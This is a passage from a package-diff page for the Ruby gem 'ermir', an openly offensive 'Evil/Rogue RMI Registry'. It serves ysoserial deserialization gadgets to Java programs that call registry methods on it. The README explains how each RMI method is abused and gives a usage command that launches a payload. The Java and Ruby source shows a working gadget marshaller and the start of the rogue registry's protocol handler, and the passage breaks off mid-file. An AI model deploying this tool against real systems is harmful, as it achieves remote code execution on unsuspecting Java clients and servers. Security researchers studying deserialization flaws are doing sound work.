ermir 0.1.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/.rspec +3 -0
- data/CODE_OF_CONDUCT.md +84 -0
- data/Gemfile +10 -0
- data/Gemfile.lock +38 -0
- data/LICENSE.txt +21 -0
- data/README.md +70 -0
- data/Rakefile +8 -0
- data/bin/ermir +4 -0
- data/bin/gadgetmarshal +20 -0
- data/ermir.gemspec +37 -0
- data/helpers/gadgetmarshaller/GadgetMarshaller.java +61 -0
- data/lib/ermir/argv_parser.rb +87 -0
- data/lib/ermir/errors.rb +10 -0
- data/lib/ermir/evil_registry.rb +164 -0
- data/lib/ermir/gadget_marshaller.rb +114 -0
- data/lib/ermir/transport_constants.rb +66 -0
- data/lib/ermir/utils.rb +21 -0
- data/lib/ermir/version.rb +4 -0
- data/lib/ermir.rb +42 -0
- metadata +95 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 70a60a0d94448d7ca57eee0ea42b0aca52875c9f925c4ff652ee25842562af79
|
4
|
+
data.tar.gz: 41209eb545542e9caebeb7e06d30a98f11dea69898c37ee6738bdd176306fab7
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: c53e30e5aeb8a4d4f0772ac418bf874aa942afedb0287eab07fc301024e70926872bcd1bef69f0ca81a7c15b3ea62c7137590ecb04394ef5d04588ce90740837
|
7
|
+
data.tar.gz: 666af55e2a7d2ae0c4fc0152c68a155549883c234da18f3745e2a3677c2e21d6a1abd79c73a93667680164bb04c3ac6504246a826e27a680c06978f670b33201
|
data/.rspec
ADDED
data/CODE_OF_CONDUCT.md
ADDED
@@ -0,0 +1,84 @@
|
|
1
|
+
# Contributor Covenant Code of Conduct
|
2
|
+
|
3
|
+
## Our Pledge
|
4
|
+
|
5
|
+
We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
|
6
|
+
|
7
|
+
We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community.
|
8
|
+
|
9
|
+
## Our Standards
|
10
|
+
|
11
|
+
Examples of behavior that contributes to a positive environment for our community include:
|
12
|
+
|
13
|
+
* Demonstrating empathy and kindness toward other people
|
14
|
+
* Being respectful of differing opinions, viewpoints, and experiences
|
15
|
+
* Giving and gracefully accepting constructive feedback
|
16
|
+
* Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience
|
17
|
+
* Focusing on what is best not just for us as individuals, but for the overall community
|
18
|
+
|
19
|
+
Examples of unacceptable behavior include:
|
20
|
+
|
21
|
+
* The use of sexualized language or imagery, and sexual attention or
|
22
|
+
advances of any kind
|
23
|
+
* Trolling, insulting or derogatory comments, and personal or political attacks
|
24
|
+
* Public or private harassment
|
25
|
+
* Publishing others' private information, such as a physical or email
|
26
|
+
address, without their explicit permission
|
27
|
+
* Other conduct which could reasonably be considered inappropriate in a
|
28
|
+
professional setting
|
29
|
+
|
30
|
+
## Enforcement Responsibilities
|
31
|
+
|
32
|
+
Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful.
|
33
|
+
|
34
|
+
Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate.
|
35
|
+
|
36
|
+
## Scope
|
37
|
+
|
38
|
+
This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event.
|
39
|
+
|
40
|
+
## Enforcement
|
41
|
+
|
42
|
+
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at 67718634+hakivvi@users.noreply.github.com. All complaints will be reviewed and investigated promptly and fairly.
|
43
|
+
|
44
|
+
All community leaders are obligated to respect the privacy and security of the reporter of any incident.
|
45
|
+
|
46
|
+
## Enforcement Guidelines
|
47
|
+
|
48
|
+
Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct:
|
49
|
+
|
50
|
+
### 1. Correction
|
51
|
+
|
52
|
+
**Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community.
|
53
|
+
|
54
|
+
**Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested.
|
55
|
+
|
56
|
+
### 2. Warning
|
57
|
+
|
58
|
+
**Community Impact**: A violation through a single incident or series of actions.
|
59
|
+
|
60
|
+
**Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban.
|
61
|
+
|
62
|
+
### 3. Temporary Ban
|
63
|
+
|
64
|
+
**Community Impact**: A serious violation of community standards, including sustained inappropriate behavior.
|
65
|
+
|
66
|
+
**Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban.
|
67
|
+
|
68
|
+
### 4. Permanent Ban
|
69
|
+
|
70
|
+
**Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals.
|
71
|
+
|
72
|
+
**Consequence**: A permanent ban from any sort of public interaction within the community.
|
73
|
+
|
74
|
+
## Attribution
|
75
|
+
|
76
|
+
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0,
|
77
|
+
available at https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
|
78
|
+
|
79
|
+
Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity).
|
80
|
+
|
81
|
+
[homepage]: https://www.contributor-covenant.org
|
82
|
+
|
83
|
+
For answers to common questions about this code of conduct, see the FAQ at
|
84
|
+
https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations.
|
data/Gemfile
ADDED
data/Gemfile.lock
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
PATH
|
2
|
+
remote: .
|
3
|
+
specs:
|
4
|
+
ermir (0.1.0)
|
5
|
+
colorize (~> 0.8.1)
|
6
|
+
slop (~> 4.9.2)
|
7
|
+
|
8
|
+
GEM
|
9
|
+
remote: https://rubygems.org/
|
10
|
+
specs:
|
11
|
+
colorize (0.8.1)
|
12
|
+
diff-lcs (1.5.0)
|
13
|
+
rake (13.0.6)
|
14
|
+
rspec (3.11.0)
|
15
|
+
rspec-core (~> 3.11.0)
|
16
|
+
rspec-expectations (~> 3.11.0)
|
17
|
+
rspec-mocks (~> 3.11.0)
|
18
|
+
rspec-core (3.11.0)
|
19
|
+
rspec-support (~> 3.11.0)
|
20
|
+
rspec-expectations (3.11.0)
|
21
|
+
diff-lcs (>= 1.2.0, < 2.0)
|
22
|
+
rspec-support (~> 3.11.0)
|
23
|
+
rspec-mocks (3.11.1)
|
24
|
+
diff-lcs (>= 1.2.0, < 2.0)
|
25
|
+
rspec-support (~> 3.11.0)
|
26
|
+
rspec-support (3.11.0)
|
27
|
+
slop (4.9.2)
|
28
|
+
|
29
|
+
PLATFORMS
|
30
|
+
x64-mingw32
|
31
|
+
|
32
|
+
DEPENDENCIES
|
33
|
+
ermir!
|
34
|
+
rake (~> 13.0)
|
35
|
+
rspec (~> 3.0)
|
36
|
+
|
37
|
+
BUNDLED WITH
|
38
|
+
2.3.15
|
data/LICENSE.txt
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2022 hakivvi
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in
|
13
|
+
all copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
21
|
+
THE SOFTWARE.
|
data/README.md
ADDED
@@ -0,0 +1,70 @@
|
|
1
|
+
# Ermir
|
2
|
+
|
3
|
+
Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it (`list()`/`lookup()`/`bind()`/`rebind()`/`unbind()`).
|
4
|
+
|
5
|
+
# Requirements
|
6
|
+
|
7
|
+
- Ruby v3 or newer.
|
8
|
+
|
9
|
+
## Installation
|
10
|
+
|
11
|
+
Install Ermir from rubygems.org:
|
12
|
+
|
13
|
+
$ gem install ermir
|
14
|
+
|
15
|
+
or clone the repo and build the gem:
|
16
|
+
|
17
|
+
$ git clone https://github.com/hakivvi/ermir.git
|
18
|
+
$ rake install
|
19
|
+
|
20
|
+
## Usage
|
21
|
+
|
22
|
+
Ermir is a cli gem, it comes with 2 cli files `ermir` and `gadgetmarshal`, `ermir` is the actual gem and the latter is just a pretty interface to [GadgetMarshaller.java](https://github.com/hakivvi/ermir/blob/main/helpers/gadgetmarshaller/GadgetMarshaller.java) file which rewrites the gadgets of [Ysoserial](https://github.com/frohoff/ysoserial) to match `MarshalInputStream` requirements, the output should be then piped into `ermir` or a file, in case of custom gadgets use `MarshalOutputStream` instead of `ObjectOutputStream` to write your serialized object to the output stream.
|
23
|
+
|
24
|
+
`ermir` usage:
|
25
|
+
```text
|
26
|
+
Ermir by @hakivvi * https://github.com/hakivvi/ermir.
|
27
|
+
Info:
|
28
|
+
Ermir is a Rogue/Evil RMI Registry which exploits unsecure Java deserialization on any Java code calling standard RMI methods on it.
|
29
|
+
Usage: ermir [options]
|
30
|
+
-l, --listen bind the RMI Registry to this ip and port (default: 0.0.0.0:1099).
|
31
|
+
-f, --file path to file containing the gadget to be deserialized.
|
32
|
+
-p, --pipe read the serialized gadget from the standard input stream.
|
33
|
+
-v, --version print Ermir version.
|
34
|
+
-h, --help print options help.
|
35
|
+
Example:
|
36
|
+
$ gadgetmarshal /path/to/ysoserial.jar Groovy1 calc.exe | ermir --listen 127.0.0.1:1099 --pipe
|
37
|
+
```
|
38
|
+
`gadgetmarshal` usage:
|
39
|
+
```text
|
40
|
+
Usage: gadgetmarshal /path/to/ysoserial.jar Gadget1 cmd (optional)/path/to/output/file
|
41
|
+
```
|
42
|
+
|
43
|
+
## How does it work?
|
44
|
+
`java.rmi.registry.Registry` offers 5 methods: `list()`, `lookup()`, `bind()`, `rebind()`, `unbind()`:
|
45
|
+
- `public Remote lookup(String name)`: lookup() searches for a bound object in the registry by its name, the registry returns a `Remote` object which references the remote object that was looked up, the returned object is read using [`MarshalInputStream.readObject()`](http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Stub.java#l127) which is just another layer on top of `ObjectInputStream`, basically it excpects after each class/proxy descriptor (`TC_CLASSDESC`/`TC_PROXYCLASSDESC`) an URL that will be used to load this class or proxy class. this is the same wild bug that was fixed in [jdk7u21](https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html). (Ermir does not specify this URL as only old Java version are vulnerable, instead it just write [null](https://github.com/hakivvi/ermir/blob/240880237eb3a565daf1f5d79be19ac1d21cb4c8/helpers/gadgetmarshaller/GadgetMarshaller.java#L54)). as [Ysoserial](https://github.com/frohoff/ysoserial) gadgets are being serialized using `ObjectOutputStream`, Ermir uses `gadgetmarshal` -a wrapper around [GadgetMarshaller.java](https://github.com/hakivvi/ermir/blob/main/helpers/gadgetmarshaller/GadgetMarshaller.java)- to serialize the specified gagdet to match `MarshalInputStream` requirements.
|
46
|
+
![image](https://user-images.githubusercontent.com/67718634/173961275-4702c692-412c-4fe1-b593-ab2a26b9bd07.png)
|
47
|
+
|
48
|
+
- `public String[] list()`: list() asks the registry for all the bound objects names, while `String` type cannot be subsitued with a malicious gadget as it is not like any ordinary object and it is not read using `readObject()` but rather `readUTF()`, however as `list()` returns `String[]` which is an actual object and it is read using [`readObject()`](http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Stub.java#l95), Ermir sends the gadget instead of this `String[]` type.
|
49
|
+
![image](https://user-images.githubusercontent.com/67718634/173961470-9b0092e4-afbe-4710-8a68-60851e59bb54.png)
|
50
|
+
|
51
|
+
- `public void bind(java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2)`: bind() binds an object to a name on the registry, in bind() case the return type is `void` and there is nothing being returned, however if the registry specifies in the RMI return data packet that this return is an execptional return, the client/server client will call [`readObject()`](https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/tip/src/share/classes/sun/rmi/transport/StreamRemoteCall.java#l270) despite the return type is `void`, this is how the regitry sends exceptions to its client (usually `java.lang.ClassNotFoundException`), once again Ermir will deliver the serialized gadget instead of a legitimate Exception object.
|
52
|
+
![image](https://user-images.githubusercontent.com/67718634/173962145-333228cc-82a1-46d6-aaa6-8cb4af8e178e.png)
|
53
|
+
|
54
|
+
- `public void rebind(java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2)`: rebind() replaces the binding of the passed name with the supplied remote reference, also returns `void`, Ermir returns an exception just like bind().
|
55
|
+
- `public void unbind(java.lang.String $param_String_1)`: unbind() unbinds a remote object by name in the RMI registry, this one also returns `void`.
|
56
|
+
|
57
|
+
## PoC
|
58
|
+
![ermir](https://user-images.githubusercontent.com/67718634/173956672-17e73fb9-87af-4ef1-97ef-5f22377e2034.gif)
|
59
|
+
|
60
|
+
## Contributing
|
61
|
+
|
62
|
+
Bug reports and pull requests are welcome on GitHub at https://github.com/hakivvi/ermir. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [code of conduct](https://github.com/hakivvi/ermir/blob/main/CODE_OF_CONDUCT.md).
|
63
|
+
|
64
|
+
## License
|
65
|
+
|
66
|
+
The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).
|
67
|
+
|
68
|
+
## Code of Conduct
|
69
|
+
|
70
|
+
Everyone interacting in the Ermir project's codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/hakivvi/ermir/blob/main/CODE_OF_CONDUCT.md).
|
data/Rakefile
ADDED
data/bin/ermir
ADDED
data/bin/gadgetmarshal
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# frozen_string_literal: tru
|
3
|
+
require 'open3'
|
4
|
+
require 'pathname'
|
5
|
+
|
6
|
+
GM_DIR = "#{__dir__}/../helpers/gadgetmarshaller"
|
7
|
+
|
8
|
+
if ARGV.size < 3
|
9
|
+
abort "Usage: gadgetmarshal /path/to/ysoserial.jar Gadget1 cmd (optional)/path/to/output/file"
|
10
|
+
end
|
11
|
+
|
12
|
+
ARGV[0] = Pathname.new(ARGV[0]).realpath.to_s
|
13
|
+
|
14
|
+
Dir.chdir(GM_DIR) do
|
15
|
+
Open3.capture3("javac GadgetMarshaller.java") unless %w[GadgetMarshaller.class GadgetMarshaller$MarshalOutputStream.class].all?(File.method(:exist?))
|
16
|
+
out, err, _ = Open3.capture3("java", "GadgetMarshaller", *ARGV[0..3], :binmode => true)
|
17
|
+
# $stderr.write err
|
18
|
+
$stdout.binmode
|
19
|
+
$stdout.write out
|
20
|
+
end
|
data/ermir.gemspec
ADDED
@@ -0,0 +1,37 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
require_relative "lib/ermir/version"
|
3
|
+
|
4
|
+
Gem::Specification.new do |spec|
|
5
|
+
spec.name = "ermir"
|
6
|
+
spec.version = Ermir::VERSION
|
7
|
+
spec.authors = "hakivvi"
|
8
|
+
spec.email = "hakivvi@gmail.com"
|
9
|
+
|
10
|
+
spec.summary = "Ermir is an Evil RMI Registry."
|
11
|
+
spec.description = "Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it (list()/lookup()/bind()/rebind()/unbind())."
|
12
|
+
spec.homepage = "https://github.com/hakivvi/ermir"
|
13
|
+
spec.license = "MIT"
|
14
|
+
spec.required_ruby_version = ">= 3.0.3"
|
15
|
+
|
16
|
+
spec.metadata["homepage_uri"] = spec.homepage
|
17
|
+
spec.metadata["source_code_uri"] = spec.homepage
|
18
|
+
spec.metadata["changelog_uri"] = spec.homepage
|
19
|
+
|
20
|
+
# Specify which files should be added to the gem when it is released.
|
21
|
+
# The `git ls-files -z` loads the files in the RubyGem that have been added into git.
|
22
|
+
spec.files = Dir.chdir(__dir__) do
|
23
|
+
`git ls-files -z`.split("\x0").reject do |f|
|
24
|
+
(f == __FILE__) || f.match(%r{\A(?:(?:bin|test|spec|features)/|\.(?:git|travis|circleci)|appveyor)})
|
25
|
+
end
|
26
|
+
end
|
27
|
+
spec.bindir = "bin"
|
28
|
+
spec.executables << spec.name.downcase << "gadgetmarshal"
|
29
|
+
spec.require_paths = ["lib"]
|
30
|
+
|
31
|
+
# Uncomment to register a new dependency of your gem
|
32
|
+
spec.add_dependency 'slop', '~> 4.9.2'
|
33
|
+
spec.add_dependency 'colorize', '~> 0.8.1'
|
34
|
+
|
35
|
+
# For more information and examples about making a new gem, check out our
|
36
|
+
# guide at: https://bundler.io/guides/creating_gem.html
|
37
|
+
end
|
@@ -0,0 +1,61 @@
|
|
1
|
+
import java.io.*;
|
2
|
+
import java.lang.reflect.Method;
|
3
|
+
import java.net.URL;
|
4
|
+
import java.net.URLClassLoader;
|
5
|
+
|
6
|
+
public class GadgetMarshaller {
|
7
|
+
public static void main(String[] args) throws Exception {
|
8
|
+
final String ysoserial_path;
|
9
|
+
final String gadgetName;
|
10
|
+
final String cmd;
|
11
|
+
final String outFile;
|
12
|
+
|
13
|
+
if (args.length < 3) {
|
14
|
+
System.out.println("Usage: java GadgetMarshaller /path/to/ysoserial.jar Gadget1 cmd (optional)/path/to/output/file");
|
15
|
+
return;
|
16
|
+
} else {
|
17
|
+
ysoserial_path = args[0];
|
18
|
+
gadgetName = args[1];
|
19
|
+
cmd = args[2];
|
20
|
+
outFile = args.length >= 4 ? args[3] : null;
|
21
|
+
}
|
22
|
+
|
23
|
+
if (!new File(ysoserial_path).exists()) {
|
24
|
+
System.out.printf("Error: Ysoserial path \"%s\" does not exist.\n", ysoserial_path);
|
25
|
+
return;
|
26
|
+
}
|
27
|
+
|
28
|
+
URLClassLoader ysoserialLoader = new URLClassLoader(new URL[] {new File(ysoserial_path).toURI().toURL()}, GadgetMarshaller.class.getClassLoader());
|
29
|
+
|
30
|
+
Class<?> payloadUtils = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ysoserialLoader);
|
31
|
+
Method getPayloadClassMethod = payloadUtils.getDeclaredMethod("getPayloadClass", String.class);
|
32
|
+
Class<?> objectPayload = (Class<?>) getPayloadClassMethod.invoke(null, gadgetName);
|
33
|
+
|
34
|
+
Class<?> payloadObjectClazz = Class.forName("ysoserial.payloads.ObjectPayload", true, ysoserialLoader);
|
35
|
+
Method getObjectMethod = payloadObjectClazz.getDeclaredMethod("getObject", String.class);
|
36
|
+
Object gadget = getObjectMethod.invoke(objectPayload.getDeclaredConstructor().newInstance(), cmd);
|
37
|
+
|
38
|
+
MarshalOutputStream mos;
|
39
|
+
try {
|
40
|
+
mos = new MarshalOutputStream((outFile == null) ? System.out : new FileOutputStream(outFile));
|
41
|
+
mos.writeObject(gadget);
|
42
|
+
mos.close();
|
43
|
+
mos.flush();
|
44
|
+
} catch (FileNotFoundException e) {
|
45
|
+
System.out.println("Error: output file path was not found.");
|
46
|
+
}
|
47
|
+
}
|
48
|
+
static final class MarshalOutputStream extends ObjectOutputStream {
|
49
|
+
MarshalOutputStream(OutputStream out) throws IOException {
|
50
|
+
super(out);
|
51
|
+
}
|
52
|
+
@Override
|
53
|
+
protected void annotateClass(Class<?> cl) throws IOException {
|
54
|
+
writeObject(null);
|
55
|
+
}
|
56
|
+
@Override
|
57
|
+
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
58
|
+
annotateClass(cl);
|
59
|
+
}
|
60
|
+
}
|
61
|
+
}
|
@@ -0,0 +1,87 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
require_relative 'errors'
|
3
|
+
require_relative 'utils'
|
4
|
+
require_relative 'version'
|
5
|
+
require 'slop'
|
6
|
+
require 'slop/option'
|
7
|
+
require 'colorize'
|
8
|
+
require 'resolv'
|
9
|
+
|
10
|
+
module Ermir
|
11
|
+
module ArgvParser
|
12
|
+
class ::FileOption < Slop::Option
|
13
|
+
def call(value)
|
14
|
+
begin
|
15
|
+
obj = File.open(value, 'rb').each_byte.to_a.pack("C*")
|
16
|
+
unless Utils.stream_header_valid?(obj)
|
17
|
+
Utils.error_and_abort!(Errors::FILE_CORRUPTED_ERROR, "--file")
|
18
|
+
end
|
19
|
+
obj
|
20
|
+
rescue Errno::ENOENT, Errno::EACCES => e
|
21
|
+
Utils.error_and_abort!(Errors::FILE_PATH_ERROR, "--file", e.to_s)
|
22
|
+
end
|
23
|
+
end
|
24
|
+
end
|
25
|
+
|
26
|
+
class Slop::BoolOption < Slop::Option
|
27
|
+
alias_method :old_call, :call
|
28
|
+
def call(*args)
|
29
|
+
if @flags == %w[-p --pipe]
|
30
|
+
if !$stdin.tty?
|
31
|
+
obj = $stdin.each_byte.to_a.pack("C*")
|
32
|
+
unless Utils.stream_header_valid?(obj)
|
33
|
+
Utils.error_and_abort!(Errors::STDIN_CORRUPTED_ERROR, "--pipe")
|
34
|
+
end
|
35
|
+
obj
|
36
|
+
else
|
37
|
+
Utils.error_and_abort!(Errors::STDIN_EMPTY_ERROR, "--pipe")
|
38
|
+
end
|
39
|
+
else
|
40
|
+
old_call(*args)
|
41
|
+
end
|
42
|
+
end
|
43
|
+
end
|
44
|
+
|
45
|
+
def self.parse_argv!
|
46
|
+
begin
|
47
|
+
options = Slop.parse do |opts|
|
48
|
+
opts.banner = <<END
|
49
|
+
Ermir by @hakivvi * https://github.com/hakivvi/ermir.
|
50
|
+
Info:
|
51
|
+
#{' '*4}Ermir is a Rogue/Evil RMI Registry which exploits unsecure Java deserialization on any Java code calling standard RMI methods on it.
|
52
|
+
Usage: ermir [options]
|
53
|
+
END
|
54
|
+
opts.banner.chomp!
|
55
|
+
opts.string "-l", "--listen", "bind the RMI Registry to this ip and port (default: 0.0.0.0:1099).", default: "0.0.0.0:1099"
|
56
|
+
opts.file "-f", "--file", "path to file containing the gadget to be deserialized."
|
57
|
+
opts.boolean "-p", "--pipe", "read the serialized gadget from the standard input stream."
|
58
|
+
opts.on "-v", "--version", "print Ermir version." do
|
59
|
+
puts "Ermir v#{Ermir::VERSION}."
|
60
|
+
exit
|
61
|
+
end
|
62
|
+
opts.boolean '-h', "--help", "print options help."
|
63
|
+
end
|
64
|
+
|
65
|
+
if options[:help] || ARGV.empty?
|
66
|
+
puts "#{options}Example:\n#{' '*4}$ gadgetmarshal /path/to/ysoserial.jar Groovy1 calc.exe | ermir --listen 127.0.0.1:1099 --pipe"
|
67
|
+
exit
|
68
|
+
end
|
69
|
+
|
70
|
+
args = options.to_hash.map{|k,v| k.eql?(:listen) ? [k] << v.rpartition(":").then{|i,_,p| [i, p.to_i]} : [k,v]}.to_h
|
71
|
+
|
72
|
+
if [::Resolv::IPv4::Regex, ::Resolv::IPv6::Regex].none? {args[:listen][0] =~ _1} or !args[:listen][1].between?(1, 0xffff)
|
73
|
+
Utils.error_and_abort!("the provided bind IP address or port is not valid.", "--listen")
|
74
|
+
end
|
75
|
+
|
76
|
+
if args[:file] && args[:pipe]
|
77
|
+
puts "[NOTE] the serialized gadget is provided via both (--file) and (--pipe), prioritizing pipe.".magenta
|
78
|
+
elsif args[:file].nil? && !args[:pipe]
|
79
|
+
Utils.error_and_abort!(Errors::GADGET_NOT_PROVIDED, "options")
|
80
|
+
end
|
81
|
+
[args[:listen].first, args[:listen].last, args[:pipe] || args[:file]]
|
82
|
+
rescue Slop::UnknownOption, Slop::MissingArgument => e
|
83
|
+
Utils.error_and_abort!(e.to_s, "options")
|
84
|
+
end
|
85
|
+
end
|
86
|
+
end
|
87
|
+
end
|
data/lib/ermir/errors.rb
ADDED
@@ -0,0 +1,10 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
module Ermir
|
3
|
+
module Errors
|
4
|
+
FILE_PATH_ERROR = "the file path specified is not valid."
|
5
|
+
FILE_CORRUPTED_ERROR = "the serialized object in the specified file has a corrupted header."
|
6
|
+
STDIN_EMPTY_ERROR = "pipe mode was selected, but STDIN is found empty."
|
7
|
+
STDIN_CORRUPTED_ERROR = "the piped serialized object has a corrupted header."
|
8
|
+
GADGET_NOT_PROVIDED = "provide at least one source for the serialized gadget (--file) or (--pipe)."
|
9
|
+
end
|
10
|
+
end
|
@@ -0,0 +1,164 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
require_relative 'utils'
|
3
|
+
require_relative 'transport_constants'
|
4
|
+
require_relative 'gadget_marshaller'
|
5
|
+
|
6
|
+
module Ermir
|
7
|
+
include Utils
|
8
|
+
include TransportConstants
|
9
|
+
# include GadgetMarshaller
|
10
|
+
class EvilRegistry
|
11
|
+
def initialize(socket, gadget)
|
12
|
+
@socket, @gadget = [socket, gadget]
|
13
|
+
@socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
|
14
|
+
@socket.sync = true
|
15
|
+
@peeraddr = @socket.peeraddr
|
16
|
+
@count = -32_768
|
17
|
+
end
|
18
|
+
|
19
|
+
def handle_connection!
|
20
|
+
unless rmi_header_valid?
|
21
|
+
Utils.print_rmi_transport_msg("Ermir received an invalid RMI protocol header from the remote peer.", @peeraddr, "red")
|
22
|
+
return
|
23
|
+
end
|
24
|
+
Utils.print_rmi_transport_msg("received a valid RMI protocol header.", @peeraddr)
|
25
|
+
|
26
|
+
@socket.putc(TransportConstants::PROTOCOL_ACK)
|
27
|
+
@socket.write([@peeraddr[-1].size].pack("S>"))
|
28
|
+
@socket.write(@peeraddr[-1])
|
29
|
+
@socket.write([@peeraddr[1]].pack("L>"))
|
30
|
+
Utils.print_rmi_transport_msg("sent acknowledgement of the RMI connection to the remote peer.", @peeraddr)
|
31
|
+
|
32
|
+
len = @socket.read(2).unpack("S>")[0]
|
33
|
+
rmi_server_ip = @socket.read(len)
|
34
|
+
rmi_server_port = @socket.read(4).unpack("L>")[0]
|
35
|
+
if rmi_server_port.zero?
|
36
|
+
Utils.print_rmi_transport_msg("the remote peer is an RMI Client.", @peeraddr)
|
37
|
+
else
|
38
|
+
Utils.print_rmi_transport_msg("the remote peer is an RMI Server, listening for remote invocations @ #{rmi_server_ip}:#{rmi_server_port}.", @peeraddr)
|
39
|
+
end
|
40
|
+
|
41
|
+
unless rmi_message_valid?
|
42
|
+
Utils.print_rmi_transport_msg("received an invalid RMI message.", @peeraddr, "red")
|
43
|
+
return
|
44
|
+
end
|
45
|
+
Utils.print_rmi_transport_msg("received a valid RMI message header from remote peer.", @peeraddr)
|
46
|
+
_ = @socket.read(22)
|
47
|
+
op = @socket.read(4).unpack("L>")[0]
|
48
|
+
interface_hash = @socket.read(8).unpack("Q>")[0]
|
49
|
+
|
50
|
+
unless interface_hash.eql?(rmi_server_port.zero? ? TransportConstants::INTERFACE_STUB_HASH : TransportConstants::INTERFACE_SKEL_HASH)
|
51
|
+
Utils.print_rmi_transport_msg("received an incorrect Registry interface hash.", @peeraddr, "red")
|
52
|
+
return
|
53
|
+
end
|
54
|
+
|
55
|
+
ret = self.send("handle_#{TransportConstants::OPS[op]}")
|
56
|
+
if ret.is_a?(String)
|
57
|
+
Utils.print_rmi_transport_msg("error: #{ret}.", @peeraddr, "red")
|
58
|
+
end
|
59
|
+
end
|
60
|
+
|
61
|
+
def close_connection!
|
62
|
+
@socket.close
|
63
|
+
end
|
64
|
+
|
65
|
+
private
|
66
|
+
def rmi_header_valid?
|
67
|
+
@socket.read(4).unpack("L>")[0].eql?(TransportConstants::MAGIC) \
|
68
|
+
&& @socket.read(2).unpack("S>")[0].eql?(TransportConstants::VERSION) \
|
69
|
+
&& @socket.getbyte.eql?(TransportConstants::STREAM_PROTOCOL)
|
70
|
+
end
|
71
|
+
|
72
|
+
def rmi_message_valid?
|
73
|
+
@socket.getbyte.eql?(TransportConstants::CALL) \
|
74
|
+
&& Utils.stream_header_valid?(@socket.read(4)) \
|
75
|
+
&& @socket.getbyte.eql?(TransportConstants::TC_BLOCKDATA) \
|
76
|
+
&& @socket.getbyte.eql?(0x22)
|
77
|
+
end
|
78
|
+
|
79
|
+
def handle_lookup
|
80
|
+
